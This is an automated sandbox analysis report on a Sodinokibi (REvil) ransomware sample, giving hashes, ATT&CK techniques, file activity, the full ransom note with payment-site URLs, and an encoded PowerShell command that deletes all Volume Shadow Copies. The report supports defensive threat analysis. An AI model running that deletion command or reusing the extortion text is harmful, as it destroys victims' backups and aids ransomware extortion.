sodinokibi | 7559e6ca8b77400f88bf4e67208a1c32570a670068eccae9e3d226cc5471bd47

Resubmissions

03/02/2025, 21:57

250203-1t5hmsvmat 10

03/02/2025, 04:37

250203-e896saslgn 10

31/01/2025, 18:35

250131-w8gmxatmc1 10

Analysis

max time kernel
726s
max time network
529s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20250128-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20250128-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
03/02/2025, 04:37

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General

Target

bazaar.2020.02/HEUR-Trojan-Ransom.Win32.Sodin.dll
Size

164KB
MD5

722e15d85827d3ac13e56e8108688012
SHA1

cab935a24d7d0ea7e8d93851f7ea94ab9bccfc34
SHA256

578e1b00157447f99716b646af6b0c33d0f6c32257a19376d6cc9d003ff0fba1
SHA512

59e24cf313db4413f44f16a8276d072f43402e718c25e1d00e81ddc69a1937473cfd1902c320bc9175d75a0d43a53ab3e971b8447ec1cf9cf9aa3aa536464273
SSDEEP

3072:BrX1t2U05pbJ5xhxY9doh7O79siUs/NaT8Sp:BrltH05f5v2i7O93No7

Score

10^/10

sodinokibi discovery ransomware

Malware Config

Extracted

Path

C:\Users\ov9gzwf-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension ov9gzwf. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/7462F01832E0D822 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/7462F01832E0D822 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: JbWZtBfPUlgzUO4opoON8I9G+VWwyQ3V8vFDKkxoH/F+KLoTdpNvwskHC43AZUq5 IWsSDBgLwcgIdHfscgw1tiqThgb7oJIjZKFcWY6SeoYHVfZ2+h75cKk1FP4WlpPj py5Zvju8dgfzRPG+23xfr4U4nXFyb+P1DOCDra1kTJoDMxulPgL24hcXdRN8x1vl HYvsU2zyCrNo2xuXQJFvcXal4hc98EFYNqqs+WQ0nw9BYYOxCJhYKIuNkRcI0wMo wqxOmyBEP++xHhF7JHeMm4QtgYIm54nqrDuQYC4bd3MmRW3wk2LJjnB3lsiLWvMj LZ5tcTyyawsWyuoYyU+QzQQKI9DqR5NIRgyclmESPGNUjY2LURtIM/zonUEQF0xH 40pBd0mKVHuTtIqjQxiwQU0deYAaPMfD8kn9j0wIFyITtT3cLBROpBVMj6spbBrE MZRZBrTN1osdgPdO40TxeUFf4tcOCxMLS2pYSsqlLuEBfDRfUcgPnDLpwsdBL4QE 29suS7C/0NY+PfvA1OFTGEKlobF2A0GPz5mtnCLGnJxDmCZOC3NGOnV984aiZLO7 9GwmK+lBxwfhukLL8pbzNMjbNlVr9b/ke9hRqUXwXJhpaQBj6Apxgh2+ODmcj4c5 2q+qyPMTG/euC5vt7bdbclKmqxAM9I/EH2aZK6lwKDuI6ns/fmIR9Z+4PRMbBY+D xZE2L/pDzDELgFClKf1ScfqkJRD/BvVnOG+S5UjjmMSNuxzi4m7x97azX3jjnMcb xtDIQKyu2uJGGnasm/3Qmsilfq40+LklH5qMfYKfQh2uARkWVC3k/hH4/zypO7MT gKMzUgXmuMLJsrgsOWJGSQRxeok6yGz/k2jpjYWqx2gmla+VCyWmxiXqOSZz04mY w21WbxaT662yf2HpCtJ0xfZhyxpnOKvs94UKllJ/HWN4CU03iGV91A8WYcJxkfHY r5CVxxef1Cm1hfORXgSHLVCbq9T8t1qXq3+taSWdtAb4eDf863RCKZYtBdpavID2 BfyLyuFQ5+5kti/F/dQ4+91YFtGfDSiEtZrFHTeG6sw1tX3vP5A180OajZMjF3pb 0plUGgcciSmtwKpFVqZcIH0QCXGuovKLS22BHR4ORWIb1F1pj3M1tQSAG99v9cc8 SZ1T4tPaERk9o77EUl9YNfLPw8lJQ6owca/cwDNWZgzRzwlfHGW+t8rZTDzyMb82 iAVQLXySnxTeRzKuPYiCPE6eoWDGvszczF3jpYl05+U8Rs0EvJmwnA== Extension name: ov9gzwf ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/7462F01832E0D822

http://decryptor.top/7462F01832E0D822

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Sodinokibi family
sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe

Drops file in Program Files directory 16 IoCs

description	ioc	Process
File opened for modification	\??\c:\program files\SuspendGroup.clr	rundll32.exe
File opened for modification	\??\c:\program files\ConfirmOptimize.html	rundll32.exe
File opened for modification	\??\c:\program files\SubmitLimit.docx	rundll32.exe
File opened for modification	\??\c:\program files\PopMeasure.i64	rundll32.exe
File opened for modification	\??\c:\program files\RemoveRename.pdf	rundll32.exe
File opened for modification	\??\c:\program files\ResumeInstall.rmi	rundll32.exe
File opened for modification	\??\c:\program files\StartWrite.3g2	rundll32.exe
File created	\??\c:\program files (x86)\ov9gzwf-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\PopGrant.xsl	rundll32.exe
File opened for modification	\??\c:\program files\WriteFormat.raw	rundll32.exe
File created	\??\c:\program files\ov9gzwf-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\ExitOut.ini	rundll32.exe
File opened for modification	\??\c:\program files\ResizeInitialize.avi	rundll32.exe
File opened for modification	\??\c:\program files\SyncImport.ods	rundll32.exe
File opened for modification	\??\c:\program files\ConfirmShow.7z	rundll32.exe
File opened for modification	\??\c:\program files\GroupUnregister.css	rundll32.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1260	rundll32.exe
1260	rundll32.exe
4800	powershell.exe
4800	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4800	powershell.exe
Token: SeBackupPrivilege	1760	vssvc.exe
Token: SeRestorePrivilege	1760	vssvc.exe
Token: SeAuditPrivilege	1760	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 2344 wrote to memory of 1260	2344	rundll32.exe	80
PID 2344 wrote to memory of 1260	2344	rundll32.exe	80
PID 2344 wrote to memory of 1260	2344	rundll32.exe	80
PID 1260 wrote to memory of 4800	1260	rundll32.exe	81
PID 1260 wrote to memory of 4800	1260	rundll32.exe	81

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:2344
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
  2⤵
  - Enumerates connected drives
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1260
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4800

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2516

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0dp1w525.xli.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\ov9gzwf-readme.txt

Filesize
6KB

MD5
8a9329b47e5edae655e2597cbd5f7050

SHA1
fd8564bb8cc40ceaad88ba1ee20c5f7a3b2075a9

SHA256
20200c80d4986d1d35e9f4eb5507665daf0c96fccc5a70d66781d77ff27e7bdc

SHA512
22ac8010a452f279321de2cc321652e8587ae9ce3eda387dec9df56150cd18f8581596247fec25dfee9a426d6c05757e43b0327265dafa8857ef6639caeaeca3

Download Submit
memory/4800-0-0x00007FFEEB9B3000-0x00007FFEEB9B5000-memory.dmp

Filesize
8KB

Download
memory/4800-1-0x00000296B08E0000-0x00000296B0902000-memory.dmp

Filesize
136KB

Download
memory/4800-11-0x00007FFEEB9B0000-0x00007FFEEC472000-memory.dmp

Filesize
10.8MB

Download
memory/4800-12-0x00007FFEEB9B0000-0x00007FFEEC472000-memory.dmp

Filesize
10.8MB

Download
memory/4800-13-0x00007FFEEB9B0000-0x00007FFEEC472000-memory.dmp

Filesize
10.8MB

Download
memory/4800-16-0x00007FFEEB9B0000-0x00007FFEEC472000-memory.dmp

Filesize
10.8MB

Download